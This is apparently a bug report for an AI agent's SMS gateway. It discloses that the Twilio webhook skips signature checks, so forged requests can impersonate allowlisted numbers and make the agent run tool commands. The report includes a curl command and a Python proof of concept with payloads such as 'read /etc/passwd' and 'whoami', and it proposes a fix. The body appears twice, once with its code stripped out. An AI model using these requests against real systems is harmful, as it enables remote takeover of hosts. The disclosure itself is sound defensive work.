Bug Description
The SMS gateway adapter (gateway/platforms/sms.py) starts an aiohttp HTTP server bound to 0.0.0.0 to receive Twilio callbacks. The webhook endpoint POST /webhooks/twilio does not perform any authentication or signature validation on incoming requests.
Twilio signs every webhook request with an X-Twilio-Signature header (HMAC-SHA1 over Auth Token + request URL + POST body). The current implementation completely skips this verification, allowing any network-reachable attacker to forge HTTP POST requests, impersonate any authorized phone number, and drive the Agent to execute arbitrary tool operations with full local OS privileges.
Severity: Critical (CVSS 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-306: Missing Authentication for Critical Function
Affected file: gateway/platforms/sms.py
Affected commit: 07549c9
Root Cause
1. Webhook server binds without authentication middleware (sms.py L93-108):
app = web.Application()
app.router.add_post("/webhooks/twilio", self._handle_webhook) # ← No auth middleware
site = web.TCPSite(self._runner, "0.0.0.0", self._webhook_port) # ← Binds all interfaces
2. Webhook handler directly trusts request data (sms.py L210-276):
async def _handle_webhook(self, request):
raw = await request.read()
form = urllib.parse.parse_qs(raw.decode("utf-8"))
# ⚠️ Missing: X-Twilio-Signature validation
from_number = (form.get("From", [""]))[0].strip() # ← Attacker-controlled
text = (form.get("Body", [""]))[0].strip() # ← Attacker-controlled
source = self.build_source(
chat_id=from_number, # ← user_id taken directly from From field
user_id=from_number, # ← Downstream authorization relies on this
)
event = MessageEvent(text=text, ...)
asyncio.create_task(self.handle_message(event)) # ← Enters Agent pipeline immediately
3. Downstream authorization bypass (run.py L1152-1221):
The gateway's authorization check relies on event.source.user_id, which comes directly from the From field. An attacker only needs to set From to an authorized phone number to bypass all allowlist/pairing mechanisms.
Attack Chain
- Attacker discovers target host's webhook port (default
8080)
- Crafts HTTP POST to
/webhooks/twilio, spoofing From as an authorized number
- Webhook handler accepts request without validating
X-Twilio-Signature
user_id set to spoofed From → passes allowlist check
Body containing attack instructions enters Agent as legitimate user message
- Agent executes tools (terminal, file ops, etc.) with local OS privileges → full host compromise
Impact
| Dimension |
Rating |
Detail |
| Confidentiality |
High |
Access arbitrary files & sensitive data (API keys, ~/.hermes/ configs) via Agent's tools |
| Integrity |
High |
File writes, code modification, system config changes |
| Availability |
High |
Destructive commands (rm -rf), API quota exhaustion |
| Exploit Complexity |
Low |
Single curl command, no credentials needed |
Steps to Reproduce
- Enable the SMS adapter with
TWILIO_ACCOUNT_SID, TWILIO_AUTH_TOKEN, TWILIO_PHONE_NUMBER configured
- Start the gateway:
hermes gateway start
- From any machine that can reach the webhook port, run:
curl -X POST http://<target>:8080/webhooks/twilio \
-d "From=%2B15551234567" \
-d "To=%2B15550001111" \
-d "Body=list+all+files+in+home+directory" \
-d "MessageSid=SM_FAKE_$(date +%s)"
- Observe: server returns HTTP 200, Agent processes the forged message and executes the command in
Body
Python PoC:
"""PoC: Verify Twilio SMS Webhook accepts unsigned requests"""
import asyncio, aiohttp
async def exploit():
url = "http://localhost:8080/webhooks/twilio"
payload = {
"From": "+15551234567", # Spoofed caller (authorized number)
"To": "+15550001111", # Target Twilio number
"Body": "read /etc/passwd", # Malicious instruction
"MessageSid": "SM_SPOOFED_001",
}
# Note: No X-Twilio-Signature header
async with aiohttp.ClientSession() as session:
async with session.post(url, data=payload) as resp:
print(f"HTTP Status: {resp.status}") # Expected: 200
print(f"Response: {await resp.text()}")
asyncio.run(exploit())
Expected Behavior
The webhook should validate the X-Twilio-Signature header using the configured Auth Token before processing any request. Requests with missing or invalid signatures should be rejected with HTTP 403 and logged for security auditing.
Actual Behavior
The webhook accepts any HTTP POST request to /webhooks/twilio regardless of origin, with no signature or authentication check. Forged requests are processed identically to legitimate Twilio callbacks, allowing unauthenticated remote command execution.
Affected Component
Gateway (Telegram/Discord/Slack/WhatsApp)
Messaging Platform (if gateway-related)
No response
Operating System
All
Python Version
3.11.9
Hermes Version
latest (commit 07549c9)
Relevant Logs / Traceback
$ curl -X POST http://localhost:8080/webhooks/twilio -d "From=%2B15551234567" -d "Body=whoami" -d "MessageSid=SM_FAKE"
HTTP/1.1 200 OK
<?xml version="1.0" encoding="UTF-8"?><Response></Response>
# Server-side: Agent processes forged message without any auth check
Root Cause Analysis (optional)
The root cause is in gateway/platforms/sms.py.
1. No signature validation in webhook handler (sms.py L210-276):
_handle_webhook() parses the POST body and extracts From, Body, MessageSid fields without verifying the X-Twilio-Signature header. Twilio provides this HMAC-SHA1 signature on every webhook request specifically for origin authentication, but it is never checked.
2. Webhook binds to all interfaces without auth middleware (sms.py L93-108):
app.router.add_post("/webhooks/twilio", self._handle_webhook) # No auth middleware
site = web.TCPSite(self._runner, "0.0.0.0", self._webhook_port) # Binds all interfaces
3. user_id derived from untrusted input (sms.py L260-270):
source.user_id is set directly from the From field in the POST body. Since the downstream gateway authorization (run.py L1152-1221) relies on user_id for allowlist checks, an attacker can spoof any authorized phone number to bypass all access controls.
Proposed Fix (optional)
Core fix: Validate Twilio signature (required)
Verify the X-Twilio-Signature header before processing the request body in _handle_webhook():
import hashlib, hmac, base64
def _validate_twilio_signature(self, request, form: dict) -> bool:
signature = request.headers.get("X-Twilio-Signature", "")
if not signature:
return False
signed_data = str(request.url)
for key in sorted(form.keys()):
values = form.get(key, [])
if not isinstance(values, list):
values = [values]
for value in values:
signed_data += f"{key}{value}"
expected = base64.b64encode(
hmac.new(
self._auth_token.encode("utf-8"),
signed_data.encode("utf-8"),
hashlib.sha1,
).digest()
).decode("ascii")
return hmac.compare_digest(expected, signature)
Add to handler:
if not self._validate_twilio_signature(request, form):
logger.warning("[sms] rejected unsigned/invalid webhook request")
return web.Response(
text='<?xml version="1.0" encoding="UTF-8"?><Response></Response>',
content_type="application/xml",
status=403,
)
Additional hardening (recommended)
| Measure |
Description |
| HTTPS for Webhook URL |
Prevent MITM tampering |
Bind 127.0.0.1 + reverse proxy |
Avoid direct public exposure; terminate TLS via Nginx/Caddy |
| IP allowlist |
Restrict to Twilio IP ranges |
| Rate limiting |
Add at reverse proxy layer |
Are you willing to submit a PR for this?
Bug Description
The SMS gateway adapter (
gateway/platforms/sms.py) starts an aiohttp HTTP server bound to0.0.0.0to receive Twilio callbacks. The webhook endpointPOST /webhooks/twiliodoes not perform any authentication or signature validation on incoming requests.Twilio signs every webhook request with an
X-Twilio-Signatureheader (HMAC-SHA1 over Auth Token + request URL + POST body). The current implementation completely skips this verification, allowing any network-reachable attacker to forge HTTP POST requests, impersonate any authorized phone number, and drive the Agent to execute arbitrary tool operations with full local OS privileges.Severity: Critical (CVSS 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-306: Missing Authentication for Critical Function
Affected file:
gateway/platforms/sms.pyAffected commit:
07549c9Root Cause
1. Webhook server binds without authentication middleware (sms.py L93-108):
2. Webhook handler directly trusts request data (sms.py L210-276):
3. Downstream authorization bypass (run.py L1152-1221):
The gateway's authorization check relies on
event.source.user_id, which comes directly from theFromfield. An attacker only needs to setFromto an authorized phone number to bypass all allowlist/pairing mechanisms.Attack Chain
8080)/webhooks/twilio, spoofingFromas an authorized numberX-Twilio-Signatureuser_idset to spoofedFrom→ passes allowlist checkBodycontaining attack instructions enters Agent as legitimate user messageImpact
~/.hermes/configs) via Agent's toolsrm -rf), API quota exhaustioncurlcommand, no credentials neededSteps to Reproduce
TWILIO_ACCOUNT_SID,TWILIO_AUTH_TOKEN,TWILIO_PHONE_NUMBERconfiguredhermes gateway startBodyPython PoC:
Expected Behavior
The webhook should validate the
X-Twilio-Signatureheader using the configured Auth Token before processing any request. Requests with missing or invalid signatures should be rejected with HTTP 403 and logged for security auditing.Actual Behavior
The webhook accepts any HTTP POST request to
/webhooks/twilioregardless of origin, with no signature or authentication check. Forged requests are processed identically to legitimate Twilio callbacks, allowing unauthenticated remote command execution.Affected Component
Gateway (Telegram/Discord/Slack/WhatsApp)
Messaging Platform (if gateway-related)
No response
Operating System
All
Python Version
3.11.9
Hermes Version
latest (commit 07549c9)
Relevant Logs / Traceback
Root Cause Analysis (optional)
The root cause is in
gateway/platforms/sms.py.1. No signature validation in webhook handler (sms.py L210-276):
_handle_webhook()parses the POST body and extractsFrom,Body,MessageSidfields without verifying theX-Twilio-Signatureheader. Twilio provides this HMAC-SHA1 signature on every webhook request specifically for origin authentication, but it is never checked.2. Webhook binds to all interfaces without auth middleware (sms.py L93-108):
3.
user_idderived from untrusted input (sms.py L260-270):source.user_idis set directly from theFromfield in the POST body. Since the downstream gateway authorization (run.py L1152-1221) relies onuser_idfor allowlist checks, an attacker can spoof any authorized phone number to bypass all access controls.Proposed Fix (optional)
Core fix: Validate Twilio signature (required)
Verify the
X-Twilio-Signatureheader before processing the request body in_handle_webhook():Add to handler:
Additional hardening (recommended)
127.0.0.1+ reverse proxyAre you willing to submit a PR for this?